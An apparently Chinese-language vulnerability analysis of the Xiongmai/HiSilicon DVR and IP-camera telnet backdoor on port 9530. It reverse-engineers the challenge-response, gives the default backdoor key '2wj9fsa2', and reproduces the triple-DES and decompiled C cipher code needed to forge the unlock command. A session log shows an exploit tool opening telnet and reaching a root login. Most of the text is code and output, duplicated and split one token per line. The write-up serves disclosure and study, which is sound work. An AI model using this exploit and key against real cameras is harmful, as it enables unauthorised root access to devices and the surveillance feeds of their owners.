多款 Xiongmai 产品存在安全漏洞,该漏洞源于开放9530端口。未经身份验证的攻击者可与受害设备进行任意 Telnet 连接。以下产品和版本受到影响:AHB7008T-MH-V2、AHB7804R-ELS、AHB7804R-MH-V2、AHB7808R-MS-V2、AHB7808R-MS、AHB7808T-MS-V2、AHB7804R-LMS、HI3518E_50H10L_S39。
整个身份验证过程可能类似于某种 HMAC 质询-响应身份验证,只不过它使用对称密码而不是哈希。对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES
设备:XMJP IPC 摄像头 型号:XM510
找到关键文件
在 usr/bin 目录下找到 dvrvox这个可执行程序,查看文件信息:
Shift+F12搜索字符串OpenTelnet:OpenOnce,定位到关键代码
程序执行流程中,在经过判断后可以执行system("telnetd")命令,从而开启漏洞信息中所说的9530端口,所以利用漏洞需经过程序判断流程执行这个命令
首先程序使用socket套接字的recv函数接受数据
接着进行第一个判断strncmp(&s[1], "OpenTelnet:OpenOnce", 0x13u)判断开头是否为 OpenTelnet:OpenOnce
通过第一个判断,程序首先执行get_random_bytime((char *)ranNum),根据时间戳生成八位随机数字字符串
get_random_bytime函数
第二个判断recv_buffer中的内容是否为randNum开头的字符串
get_key 函数的作用是返回一个 key 字符串,判断 /mnt/custom/TelnetOEMPasswd 文件是否存在,存在的话返回文件的内容(也就是密钥),不存在就返回 2wj9fsa2 字符串。
接下来是主要的encrypt加密函数,传入的参数分别为之前生成的8位随机数字以及他的长度,还有通过sprintf将key和ranNum拼接后的concatenateStr字符串及其长度。concatenateStr也就是需要加密的字符串,而key相当于程序中的 PSK 预共享密钥,也就是后门密钥
跟进到encrypt函数中,逻辑较为复杂,可参考https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108
对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES
3DES部分代码:
参考此代码写出具体的加密算法,将加密结果拼接在randNum:字符串后面
之后经判断输出verify:OK
最后再次判断接收到的字符串开头是否为CMD,这里的 dencrypt对应上面的加密算法,判断解密后的字符串是否为“Telnet:OpenOnce” ,也就是只需将这个字符串经过相同的加密算法即可,从而执行 system("telnetd") 函数,开启后门。
一旦 telnet 守护进程激活,可以用以下登录名/密码对之一:
这些密码可以从固件中恢复,也可以通过/etc/passwd
文件中的哈希值进行暴力破解
最常见的 PSK 是默认值之一:2wj9fsa2
会话示例:
参考文章
https://github.com/tothi/pwn-hisilicon-dvr#summary
https://www.4hou.com/posts/mGYE
https://github.com/tothi/pyDes/blob/master/pyDes.py
class
triple_des(_baseDes):
def
__init__(
self
, key, mode
=
ECB, IV
=
None
, pad
=
None
, padmode
=
PAD_NORMAL, hs
=
False
):
_baseDes.__init__(
self
, mode, IV, pad, padmode)
self
.hs
=
hs
self
.setKey(key)
def
setKey(
self
, key):
self
.key_size
=
24
if
len
(key) !
=
self
.key_size:
if
len
(key)
=
=
16
:
self
.key_size
=
16
else
:
raise
ValueError(
"Invalid triple DES key size. Key must be either 16 or 24 bytes long"
)
if
self
.getMode()
=
=
CBC:
if
not
self
.getIV():
self
._iv
=
key[:
self
.block_size]
if
len
(
self
.getIV()) !
=
self
.block_size:
raise
ValueError(
"Invalid IV, must be 8 bytes in length"
)
self
.__key1
=
des(key[:
8
],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
self
.__key2
=
des(key[
8
:
16
],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
if
self
.key_size
=
=
16
:
self
.__key3
=
self
.__key1
else
:
self
.__key3
=
des(key[
16
:],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
_baseDes.setKey(
self
, key)
def
setMode(
self
, mode):
_baseDes.setMode(
self
, mode)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setMode(mode)
def
setPadding(
self
, pad):
_baseDes.setPadding(
self
, pad)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setPadding(pad)
def
setPadMode(
self
, mode):
_baseDes.setPadMode(
self
, mode)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setPadMode(mode)
def
setIV(
self
, IV):
_baseDes.setIV(
self
, IV)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setIV(IV)
def
encrypt(
self
, data, pad
=
None
, padmode
=
None
):
ENCRYPT
=
des.ENCRYPT
DECRYPT
=
des.DECRYPT
data
=
self
._guardAgainstUnicode(data)
if
pad
is
not
None
:
pad
=
self
._guardAgainstUnicode(pad)
data
=
self
._padData(data, pad, padmode)
if
self
.getMode()
=
=
CBC:
self
.__key1.setIV(
self
.getIV())
self
.__key2.setIV(
self
.getIV())
self
.__key3.setIV(
self
.getIV())
i
=
0
result
=
[]
while
i <
len
(data):
block
=
self
.__key1.crypt(data[i:i
+
8
], ENCRYPT)
block
=
self
.__key2.crypt(block, DECRYPT)
block
=
self
.__key3.crypt(block, ENCRYPT)
self
.__key1.setIV(block)
self
.__key2.setIV(block)
self
.__key3.setIV(block)
result.append(block)
i
+
=
8
if
_pythonMajorVersion <
3
:
return
''.join(result)
else
:
return
bytes.fromhex('').join(result)
else
:
data
=
self
.__key1.crypt(data, ENCRYPT)
data
=
self
.__key2.crypt(data, DECRYPT)
return
self
.__key3.crypt(data, ENCRYPT)
def
decrypt(
self
, data, pad
=
None
, padmode
=
None
):
ENCRYPT
=
des.ENCRYPT
DECRYPT
=
des.DECRYPT
data
=
self
._guardAgainstUnicode(data)
if
pad
is
not
None
:
pad
=
self
._guardAgainstUnicode(pad)
if
self
.getMode()
=
=
CBC:
self
.__key1.setIV(
self
.getIV())
self
.__key2.setIV(
self
.getIV())
self
.__key3.setIV(
self
.getIV())
i
=
0
result
=
[]
while
i <
len
(data):
iv
=
data[i:i
+
8
]
block
=
self
.__key3.crypt(iv, DECRYPT)
block
=
self
.__key2.crypt(block, ENCRYPT)
block
=
self
.__key1.crypt(block, DECRYPT)
self
.__key1.setIV(iv)
self
.__key2.setIV(iv)
self
.__key3.setIV(iv)
result.append(block)
i
+
=
8
if
_pythonMajorVersion <
3
:
data
=
''.join(result)
else
:
data
=
bytes.fromhex('').join(result)
else
:
data
=
self
.__key3.crypt(data, DECRYPT)
data
=
self
.__key2.crypt(data, ENCRYPT)
data
=
self
.__key1.crypt(data, DECRYPT)
return
self
._unpadData(data, pad, padmode)
class
triple_des(_baseDes):
def
__init__(
self
, key, mode
=
ECB, IV
=
None
, pad
=
None
, padmode
=
PAD_NORMAL, hs
=
False
):
_baseDes.__init__(
self
, mode, IV, pad, padmode)
self
.hs
=
hs
self
.setKey(key)
def
setKey(
self
, key):
self
.key_size
=
24
if
len
(key) !
=
self
.key_size:
if
len
(key)
=
=
16
:
self
.key_size
=
16
else
:
raise
ValueError(
"Invalid triple DES key size. Key must be either 16 or 24 bytes long"
)
if
self
.getMode()
=
=
CBC:
if
not
self
.getIV():
self
._iv
=
key[:
self
.block_size]
if
len
(
self
.getIV()) !
=
self
.block_size:
raise
ValueError(
"Invalid IV, must be 8 bytes in length"
)
self
.__key1
=
des(key[:
8
],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
self
.__key2
=
des(key[
8
:
16
],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
if
self
.key_size
=
=
16
:
self
.__key3
=
self
.__key1
else
:
self
.__key3
=
des(key[
16
:],
self
._mode,
self
._iv,
self
._padding,
self
._padmode,
self
.hs)
_baseDes.setKey(
self
, key)
def
setMode(
self
, mode):
_baseDes.setMode(
self
, mode)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setMode(mode)
def
setPadding(
self
, pad):
_baseDes.setPadding(
self
, pad)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setPadding(pad)
def
setPadMode(
self
, mode):
_baseDes.setPadMode(
self
, mode)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setPadMode(mode)
def
setIV(
self
, IV):
_baseDes.setIV(
self
, IV)
for
key
in
(
self
.__key1,
self
.__key2,
self
.__key3):
key.setIV(IV)
def
encrypt(
self
, data, pad
=
None
, padmode
=
None
):
ENCRYPT
=
des.ENCRYPT
DECRYPT
=
des.DECRYPT
data
=
self
._guardAgainstUnicode(data)
if
pad
is
not
None
:
pad
=
self
._guardAgainstUnicode(pad)
data
=
self
._padData(data, pad, padmode)
if
self
.getMode()
=
=
CBC:
self
.__key1.setIV(
self
.getIV())
self
.__key2.setIV(
self
.getIV())
self
.__key3.setIV(
self
.getIV())
i
=
0
result
=
[]
while
i <
len
(data):
block
=
self
.__key1.crypt(data[i:i
+
8
], ENCRYPT)
block
=
self
.__key2.crypt(block, DECRYPT)
block
=
self
.__key3.crypt(block, ENCRYPT)
self
.__key1.setIV(block)
self
.__key2.setIV(block)
self
.__key3.setIV(block)
result.append(block)
i
+
=
8
if
_pythonMajorVersion <
3
:
return
''.join(result)
else
:
return
bytes.fromhex('').join(result)
else
:
data
=
self
.__key1.crypt(data, ENCRYPT)
data
=
self
.__key2.crypt(data, DECRYPT)
return
self
.__key3.crypt(data, ENCRYPT)
def
decrypt(
self
, data, pad
=
None
, padmode
=
None
):
ENCRYPT
=
des.ENCRYPT
DECRYPT
=
des.DECRYPT
data
=
self
._guardAgainstUnicode(data)
if
pad
is
not
None
:
pad
=
self
._guardAgainstUnicode(pad)
if
self
.getMode()
=
=
CBC:
self
.__key1.setIV(
self
.getIV())
self
.__key2.setIV(
self
.getIV())
self
.__key3.setIV(
self
.getIV())
i
=
0
result
=
[]
while
i <
len
(data):
iv
=
data[i:i
+
8
]
block
=
self
.__key3.crypt(iv, DECRYPT)
block
=
self
.__key2.crypt(block, ENCRYPT)
block
=
self
.__key1.crypt(block, DECRYPT)
self
.__key1.setIV(iv)
self
.__key2.setIV(iv)
self
.__key3.setIV(iv)
result.append(block)
i
+
=
8
if
_pythonMajorVersion <
3
:
data
=
''.join(result)
else
:
data
=
bytes.fromhex('').join(result)
else
:
data
=
self
.__key3.crypt(data, DECRYPT)
data
=
self
.__key2.crypt(data, ENCRYPT)
data
=
self
.__key1.crypt(data, DECRYPT)
return
self
._unpadData(data, pad, padmode)
int
encrypt(char
*
result,char
*
data,uint data_len,char
*
key,uint key_size)
{
uint uVar2;
int
currentBlockNumber;
int
blocksCount;
if
(((result !
=
(char
*
)
0x0
&& data !
=
(char
*
)
0x0
) &&
(currentBlockNumber
=
0
, key !
=
(char
*
)
0x0
)) && ((data_len
+
7
&
0xfffffff8
) !
=
0
)) {
prepare_key(key,key_size);
blocksCount
=
(
int
)(data_len
+
7
) >>
3
;
uVar2
=
*
(state
+
0x7e0
);
if
(
*
(state
+
0x7e0
)
=
=
0
) {
while
((
int
)uVar2 < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
uVar2
=
uVar2
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
else
{
while
(currentBlockNumber < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x4e0
,
1
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x1e0
,
0
);
currentBlockNumber
=
currentBlockNumber
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
return
0
;
}
return
-
1
;
}
int
encrypt(char
*
result,char
*
data,uint data_len,char
*
key,uint key_size)
{
uint uVar2;
int
currentBlockNumber;
int
blocksCount;
if
(((result !
=
(char
*
)
0x0
&& data !
=
(char
*
)
0x0
) &&
(currentBlockNumber
=
0
, key !
=
(char
*
)
0x0
)) && ((data_len
+
7
&
0xfffffff8
) !
=
0
)) {
prepare_key(key,key_size);
blocksCount
=
(
int
)(data_len
+
7
) >>
3
;
uVar2
=
*
(state
+
0x7e0
);
if
(
*
(state
+
0x7e0
)
=
=
0
) {
while
((
int
)uVar2 < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
uVar2
=
uVar2
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
else
{
while
(currentBlockNumber < blocksCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
0
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x4e0
,
1
);
cipher_box((byte
*
)result,(byte
*
)result,state
+
0x1e0
,
0
);
currentBlockNumber
=
currentBlockNumber
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
}
}
return
0
;
}
return
-
1
;
}
$ telnet
198.51
.
100.23
Trying
198.51
.
100.23
...
telnet: Unable to connect to remote host: Connection refused
$ .
/
hs
-
dvr
-
telnet
198.51
.
100.23
2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:
46930886
challenge
=
469308862wj9fsa2
verify:OK
Open
:OK
$ telnet
198.51
.
100.23
Trying
198.51
.
100.23
...
Connected to
198.51
.
100.23
.
Escape character
is
'^]'
.
LocalHost login: root
Password:
$ telnet
198.51
.
100.23
Trying
198.51
.
100.23
...
telnet: Unable to connect to remote host: Connection refused
$ .
/
hs
-
dvr
-
telnet
198.51
.
100.23
2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:
46930886
challenge
=
469308862wj9fsa2
verify:OK
Open
:OK
$ telnet
198.51
.
100.23
Trying
198.51
.
100.23
...
Connected to
198.51
.
100.23
.
Escape character
is
'^]'
.
LocalHost login: root
Password:
typedef unsigned char byte;
typedef unsigned
int
uint;
byte state[
2048
]
=
{
0
};
byte datum[]
=
{
0x20
,
0x01
,
0x02
,
0x03
,
0x04
,
0x05
,
0x04
,
0x05
,
0x06
,
0x07
,
0x08
,
0x09
,
0x08
,
0x09
,
0x0a
,
0x0b
,
0x0c
,
0x0d
,
0x0c
,
0x0d
,
0x0e
,
0x0f
,
0x10
,
0x11
,
0x10
,
0x11
,
0x12
,
0x13
,
0x14
,
0x15
,
0x14
,
0x15
,
0x16
,
0x17
,
0x18
,
0x19
,
0x18
,
0x19
,
0x1a
,
0x1b
,
0x1c
,
0x1d
,
0x1c
,
0x1d
,
0x1e
,
0x1f
,
0x20
,
0x01
,
0x0e
,
0x04
,
0x0d
,
0x01
,
0x02
,
0x0f
,
0x0b
,
0x08
,
0x03
,
0x0a
,
0x06
,
0x0c
,
0x05
,
0x09
,
0x00
,
0x07
,
0x00
,
0x0f
,
0x07
,
0x04
,
0x0e
,
0x02
,
0x0d
,
0x01
,
0x0a
,
0x06
,
0x0c
,
0x0b
,
0x09
,
0x05
,
0x03
,
0x08
,
0x04
,
0x01
,
0x0e
,
0x08
,
0x0d
,
0x06
,
0x02
,
0x0b
,
0x0f
,
0x0c
,
0x09
,
0x07
,
0x03
,
0x0a
,
0x05
,
0x00
,
0x0f
,
0x0c
,
0x08
,
0x02
,
0x04
,
0x09
,
0x01
,
0x07
,
0x05
,
0x0b
,
0x03
,
0x0e
,
0x0a
,
0x00
,
0x06
,
0x0d
,
0x0f
,
0x01
,
0x08
,
0x0e
,
0x06
,
0x0b
,
0x03
,
0x04
,
0x09
,
0x07
,
0x02
,
0x0d
,
0x0c
,
0x00
,
0x05
,
0x0a
,
0x03
,
0x0d
,
0x04
,
0x07
,
0x0f
,
0x02
,
0x08
,
0x0e
,
0x0c
,
0x00
,
0x01
,
0x0a
,
0x06
,
0x09
,
0x0b
,
0x05
,
0x00
,
0x0e
,
0x07
,
0x0b
,
0x0a
,
0x04
,
0x0d
,
0x01
,
0x05
,
0x08
,
0x0c
,
0x06
,
0x09
,
0x03
,
0x02
,
0x0f
,
0x0d
,
0x08
,
0x0a
,
0x01
,
0x03
,
0x0f
,
0x04
,
0x02
,
0x0b
,
0x06
,
0x07
,
0x0c
,
0x00
,
0x05
,
0x0e
,
0x09
,
0x0a
,
0x00
,
0x09
,
0x0e
,
0x06
,
0x03
,
0x0f
,
0x05
,
0x01
,
0x0d
,
0x0c
,
0x07
,
0x0b
,
0x04
,
0x02
,
0x08
,
0x0d
,
0x07
,
0x00
,
0x09
,
0x03
,
0x04
,
0x06
,
0x0a
,
0x02
,
0x08
,
0x05
,
0x0e
,
0x0c
,
0x0b
,
0x0f
,
0x01
,
0x0d
,
0x06
,
0x04
,
0x09
,
0x08
,
0x0f
,
0x03
,
0x00
,
0x0b
,
0x01
,
0x02
,
0x0c
,
0x05
,
0x0a
,
0x0e
,
0x07
,
0x01
,
0x0a
,
0x0d
,
0x00
,
0x06
,
0x09
,
0x08
,
0x07
,
0x04
,
0x0f
,
0x0e
,
0x03
,
0x0b
,
0x05
,
0x02
,
0x0c
,
0x07
,
0x0d
,
0x0e
,
0x03
,
0x00
,
0x06
,
0x09
,
0x0a
,
0x01
,
0x02
,
0x08
,
0x05
,
0x0b
,
0x0c
,
0x04
,
0x0f
,
0x0d
,
0x08
,
0x0b
,
0x05
,
0x06
,
0x0f
,
0x00
,
0x03
,
0x04
,
0x07
,
0x02
,
0x0c
,
0x01
,
0x0a
,
0x0e
,
0x09
,
0x0a
,
0x06
,
0x09
,
0x00
,
0x0c
,
0x0b
,
0x07
,
0x0d
,
0x0f
,
0x01
,
0x03
,
0x0e
,
0x05
,
0x02
,
0x08
,
0x04
,
0x03
,
0x0f
,
0x00
,
0x06
,
0x0a
,
0x01
,
0x0d
,
0x08
,
0x09
,
0x04
,
0x05
,
0x0b
,
0x0c
,
0x07
,
0x02
,
0x0e
,
0x02
,
0x0c
,
0x04
,
0x01
,
0x07
,
0x0a
,
0x0b
,
0x06
,
0x08
,
0x05
,
0x03
,
0x0f
,
0x0d
,
0x00
,
0x0e
,
0x09
,
0x0e
,
0x0b
,
0x02
,
0x0c
,
0x04
,
0x07
,
0x0d
,
0x01
,
0x05
,
0x00
,
0x0f
,
0x0a
,
0x03
,
0x09
,
0x08
,
0x06
,
0x04
,
0x02
,
0x01
,
0x0b
,
0x0a
,
0x0d
,
0x07
,
0x08
,
0x0f
,
0x09
,
0x0c
,
0x05
,
0x06
,
0x03
,
0x00
,
0x0e
,
0x0b
,
0x08
,
0x0c
,
0x07
,
0x01
,
0x0e
,
0x02
,
0x0d
,
0x06
,
0x0f
,
0x00
,
0x09
,
0x0a
,
0x04
,
0x05
,
0x03
,
0x0c
,
0x01
,
0x0a
,
0x0f
,
0x09
,
0x02
,
0x06
,
0x08
,
0x00
,
0x0d
,
0x03
,
0x04
,
0x0e
,
0x07
,
0x05
,
0x0b
,
0x0a
,
0x0f
,
0x04
,
0x02
,
0x07
,
0x0c
,
0x09
,
0x05
,
0x06
,
0x01
,
0x0d
,
0x0e
,
0x00
,
0x0b
,
0x03
,
0x08
,
0x09
,
0x0e
,
0x0f
,
0x05
,
0x02
,
0x08
,
0x0c
,
0x03
,
0x07
,
0x00
,
0x04
,
0x0a
,
0x01
,
0x0d
,
0x0b
,
0x06
,
0x04
,
0x03
,
0x02
,
0x0c
,
0x09
,
0x05
,
0x0f
,
0x0a
,
0x0b
,
0x0e
,
0x01
,
0x07
,
0x06
,
0x00
,
0x08
,
0x0d
,
0x04
,
0x0b
,
0x02
,
0x0e
,
0x0f
,
0x00
,
0x08
,
0x0d
,
0x03
,
0x0c
,
0x09
,
0x07
,
0x05
,
0x0a
,
0x06
,
0x01
,
0x0d
,
0x00
,
0x0b
,
0x07
,
0x04
,
0x09
,
0x01
,
0x0a
,
0x0e
,
0x03
,
0x05
,
0x0c
,
0x02
,
0x0f
,
0x08
,
0x06
,
0x01
,
0x04
,
0x0b
,
0x0d
,
0x0c
,
0x03
,
0x07
,
0x0e
,
0x0a
,
0x0f
,
0x06
,
0x08
,
0x00
,
0x05
,
0x09
,
0x02
,
0x06
,
0x0b
,
0x0d
,
0x08
,
0x01
,
0x04
,
0x0a
,
0x07
,
0x09
,
0x05
,
0x00
,
0x0f
,
0x0e
,
0x02
,
0x03
,
0x0c
,
0x0d
,
0x02
,
0x08
,
0x04
,
0x06
,
0x0f
,
0x0b
,
0x01
,
0x0a
,
0x09
,
0x03
,
0x0e
,
0x05
,
0x00
,
0x0c
,
0x07
,
0x01
,
0x0f
,
0x0d
,
0x08
,
0x0a
,
0x03
,
0x07
,
0x04
,
0x0c
,
0x05
,
0x06
,
0x0b
,
0x00
,
0x0e
,
0x09
,
0x02
,
0x07
,
0x0b
,
0x04
,
0x01
,
0x09
,
0x0c
,
0x0e
,
0x02
,
0x00
,
0x06
,
0x0a
,
0x0d
,
0x0f
,
0x03
,
0x05
,
0x08
,
0x02
,
0x01
,
0x0e
,
0x07
,
0x04
,
0x0a
,
0x08
,
0x0d
,
0x0f
,
0x0c
,
0x09
,
0x00
,
0x03
,
0x05
,
0x06
,
0x0b
,
0x10
,
0x07
,
0x14
,
0x15
,
0x1d
,
0x0c
,
0x1c
,
0x11
,
0x01
,
0x0f
,
0x17
,
0x1a
,
0x05
,
0x12
,
0x1f
,
0x0a
,
0x02
,
0x08
,
0x18
,
0x0e
,
0x20
,
0x1b
,
0x03
,
0x09
,
0x13
,
0x0d
,
0x1e
,
0x06
,
0x16
,
0x0b
,
0x04
,
0x19
,
0x3a
,
0x32
,
0x2a
,
0x22
,
0x1a
,
0x12
,
0x0a
,
0x02
,
0x3c
,
0x34
,
0x2c
,
0x24
,
0x1c
,
0x14
,
0x0c
,
0x04
,
0x3e
,
0x36
,
0x2e
,
0x26
,
0x1e
,
0x16
,
0x0e
,
0x06
,
0x40
,
0x38
,
0x30
,
0x28
,
0x20
,
0x18
,
0x10
,
0x08
,
0x39
,
0x31
,
0x29
,
0x21
,
0x19
,
0x11
,
0x09
,
0x01
,
0x3b
,
0x33
,
0x2b
,
0x23
,
0x1b
,
0x13
,
0x0b
,
0x03
,
0x3d
,
0x35
,
0x2d
,
0x25
,
0x1d
,
0x15
,
0x0d
,
0x05
,
0x3f
,
0x37
,
0x2f
,
0x27
,
0x1f
,
0x17
,
0x0f
,
0x07
,
0xf4
,
0x63
,
0x01
,
0x00
,
0x28
,
0x08
,
0x30
,
0x10
,
0x38
,
0x18
,
0x40
,
0x20
,
0x27
,
0x07
,
0x2f
,
0x0f
,
0x37
,
0x17
,
0x3f
,
0x1f
,
0x26
,
0x06
,
0x2e
,
0x0e
,
0x36
,
0x16
,
0x3e
,
0x1e
,
0x25
,
0x05
,
0x2d
,
0x0d
,
0x35
,
0x15
,
0x3d
,
0x1d
,
0x24
,
0x04
,
0x2c
,
0x0c
,
0x34
,
0x14
,
0x3c
,
0x1c
,
0x23
,
0x03
,
0x2b
,
0x0b
,
0x33
,
0x13
,
0x3b
,
0x1b
,
0x22
,
0x02
,
0x2a
,
0x0a
,
0x32
,
0x12
,
0x3a
,
0x1a
,
0x21
,
0x01
,
0x29
,
0x09
,
0x31
,
0x11
,
0x39
,
0x19
,
0x39
,
0x31
,
0x29
,
0x21
,
0x19
,
0x11
,
0x09
,
0x01
,
0x3a
,
0x32
,
0x2a
,
0x22
,
0x1a
,
0x12
,
0x0a
,
0x02
,
0x3b
,
0x33
,
0x2b
,
0x23
,
0x1b
,
0x13
,
0x0b
,
0x03
,
0x3c
,
0x34
,
0x2c
,
0x24
,
0x3f
,
0x37
,
0x2f
,
0x27
,
0x1f
,
0x17
,
0x0f
,
0x07
,
0x3e
,
0x36
,
0x2e
,
0x26
,
0x1e
,
0x16
,
0x0e
,
0x06
,
0x3d
,
0x35
,
0x2d
,
0x25
,
0x1d
,
0x15
,
0x0d
,
0x05
,
0x1c
,
0x14
,
0x0c
,
0x04
,
0x50
,
0x64
,
0x01
,
0x00
,
0x01
,
0x01
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x01
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x02
,
0x01
,
0x0e
,
0x11
,
0x0b
,
0x18
,
0x01
,
0x05
,
0x03
,
0x1c
,
0x0f
,
0x06
,
0x15
,
0x0a
,
0x17
,
0x13
,
0x0c
,
0x04
,
0x1a
,
0x08
,
0x10
,
0x07
,
0x1b
,
0x14
,
0x0d
,
0x02
,
0x29
,
0x34
,
0x1f
,
0x25
,
0x2f
,
0x37
,
0x1e
,
0x28
,
0x33
,
0x2d
,
0x21
,
0x30
,
0x2c
,
0x31
,
0x27
,
0x38
,
0x22
,
0x35
,
0x2e
,
0x2a
,
0x32
,
0x24
,
0x1d
,
0x20
};
void init_cipher_offset_vector(byte
*
dst,byte
*
src,
int
size)
{
int
i;
i
=
0
;
while
(i < size) {
dst[i]
=
(byte)((
int
)(uint)src[i >>
3
] >> (i &
7U
)) &
1
;
i
=
i
+
1
;
}
return
;
}
void apply_cipher_offset_vector(byte
*
dst,byte
*
src,byte
*
offset_vector,size_t size)
{
int
i;
i
=
0
;
while
(i < (
int
)size) {
state[i]
=
src[(uint)offset_vector[i]
-
1
];
i
=
i
+
1
;
}
memcpy(dst,state,size);
return
;
}
void cipher_memcpy_shuffle(void
*
dst,size_t size)
{
memcpy(state,dst,size);
memcpy(dst,(void
*
)(dst
+
size),
0x1c
-
size);
memcpy((void
*
)(dst
+
(
0x1c
-
size)),state,size);
return
;
}
void init_cipher_state(void
*
dst,void
*
src)
{
byte current_byte;
int
i;
init_cipher_offset_vector(state
+
0x190
,(byte
*
)src,
0x40
);
apply_cipher_offset_vector(state
+
0x190
,state
+
0x190
,datum
+
0x2d4
,
0x38
);
i
=
0
;
do {
current_byte
=
(datum
+
0x310
)[i];
i
=
i
+
1
;
cipher_memcpy_shuffle(state
+
0x190
,(uint)current_byte);
cipher_memcpy_shuffle(state
+
0x190
+
0x1c
,(uint)current_byte);
apply_cipher_offset_vector((byte
*
)dst,state
+
0x190
,datum
+
0x320
,
0x30
);
dst
=
(byte
*
)dst
+
0x30
;
}
while
(i !
=
0x10
);
return
;
}
void cipher_xor(byte
*
data,byte
*
key,
int
size)
{
int
i;
i
=
0
;
while
(i < size) {
data[i]
=
key[i] ^ data[i];
i
=
i
+
1
;
}
return
;
}
void prepare_key(void
*
key,size_t key_size)
{
size_t __n;
memset(state
+
0x1d0
,
0
,
0x10
);
__n
=
key_size;
if
(
0xf
< (
int
)key_size) {
__n
=
0x10
;
}
memcpy(state
+
0x1d0
,key,__n);
init_cipher_state(state
+
0x1e0
,state
+
0x1d0
);
if
(
8
< (
int
)key_size) {
init_cipher_state(state
+
0x4e0
,state
+
0x1d8
);
}
*
(state
+
0x7e0
)
=
8
< (
int
)key_size;
/
/
!!!! recheck size
return
;
}
void cipher_shuffle(byte
*
dst,byte
*
src)
{
byte
*
caretPtr;
int
iVar1;
byte
*
ptr;
int
i;
apply_cipher_offset_vector(state
+
0x100
,dst,datum,
0x30
);
cipher_xor(state
+
0x100
,src,
0x30
);
ptr
=
state
+
0x100
;
i
=
0
;
do {
iVar1
=
i
+
(uint)ptr[
5
]
+
(uint)
*
ptr
*
2
;
caretPtr
=
dst
+
i;
i
=
i
+
4
;
init_cipher_offset_vector
(caretPtr,datum
+
0x30
+
(uint)ptr[
2
]
*
4
+
(uint)ptr[
1
]
*
8
+
(uint)ptr[
4
]
+
(uint)ptr[
3
]
*
2
+
iVar1
*
0x10
,
4
);
ptr
=
ptr
+
6
;
}
while
(i !
=
0x20
);
apply_cipher_offset_vector(dst,dst,datum
+
0x230
,
0x20
);
return
;
}
void cipher_box(byte
*
result,byte
*
data,byte
*
offset_vector,
int
direction)
{
uint i;
byte
*
backward_ov_ptr;
byte
*
forward_ov_ptr;
int
iVar3;
init_cipher_offset_vector(state
+
0x130
,data,
0x40
);
apply_cipher_offset_vector(state
+
0x130
,state
+
0x130
,datum
+
0x250
,
0x40
);
if
(direction
=
=
0
) {
forward_ov_ptr
=
offset_vector
+
0x300
;
do {
memcpy(state
+
0x170
,state
+
0x150
,
0x20
);
cipher_shuffle(state
+
0x150
,offset_vector);
cipher_xor(state
+
0x150
,state
+
0x130
,
0x20
);
memcpy(state
+
0x130
, state
+
0x170
,
0x20
);
offset_vector
=
offset_vector
+
0x30
;
}
while
(offset_vector !
=
forward_ov_ptr);
}
else
{
backward_ov_ptr
=
offset_vector
+
0x2d0
;
do {
memcpy(state
+
0x170
,state
+
0x130
,
0x20
);
cipher_shuffle(state
+
0x130
,backward_ov_ptr);
cipher_xor(state
+
0x130
,state
+
0x150
,
0x20
);
backward_ov_ptr
-
=
0x30
;
memcpy(state
+
0x150
,state
+
0x170
,
0x20
);
}
while
(backward_ov_ptr !
=
offset_vector
+
-
0x30
);
}
apply_cipher_offset_vector(state
+
0x130
,state
+
0x130
,datum
+
0x294
,
0x40
);
memset(result,
0
,
8
);
i
=
0
;
do {
result[i >>
3
]
=
result[i >>
3
] |
*
(char
*
)(state
+
0x130
+
i) << (i &
7
);
i
=
i
+
1
;
}
while
(i !
=
0x40
);
return
;
}
int
decrypt(char
*
result,char
*
data,uint data_len,char
*
key,uint key_len)
{
uint short_key_iter;
int
curBlockNumber;
int
blockCount;
if
(((result !
=
(char
*
)
0x0
&& data !
=
(char
*
)
0x0
) && (curBlockNumber
=
0
, key !
=
(char
*
)
0x0
))
&& ((data_len
+
7
&
0xfffffff8
) !
=
0
)) {
prepare_key(key,key_len);
blockCount
=
(
int
)(data_len
+
7
) >>
3
;
short_key_iter
=
*
(state
+
0x7e0
);
if
(
*
(state
+
0x7e0
)
=
=
0
) {
while
((
int
)short_key_iter < blockCount) {
cipher_box((byte
*
)result,(byte
*
)data,state
+
0x1e0
,
1
);
short_key_iter
=
short_key_iter
+
1
;
result
=
(char
*
)((byte
*
)result
+
8
);
data
=
(char
*
)((byte
*
)data
+
8
);
